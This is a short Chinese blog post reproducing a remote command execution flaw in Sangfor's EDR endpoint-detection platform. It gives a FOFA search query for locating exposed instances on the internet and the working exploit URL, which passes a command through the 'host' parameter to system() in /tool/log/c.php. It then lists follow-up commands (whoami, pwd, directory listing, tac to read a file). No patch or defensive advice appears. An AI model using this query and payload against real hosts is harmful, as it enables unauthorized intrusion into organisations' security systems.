去B站咯

深信服EDR远程命令执行复现

  • 先用fofa找到一个有漏洞的链接

body="终端检测响应平台"

  • 漏洞利用

https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&host=id

修改id值为执行的命令

  • 使用whoami查询当前用户权限

 

  • 使用pwd查询当前所在目录

 

  • 查看当前目录有哪些文件或目录

 

  • 查看l.php文件内容

                cat命令查看不了,所以使用了tac命令。

 

 

网安小菜鸡
posted @ 2020-09-30 14:53  不想长大a  阅读(351)  评论(0编辑  收藏  举报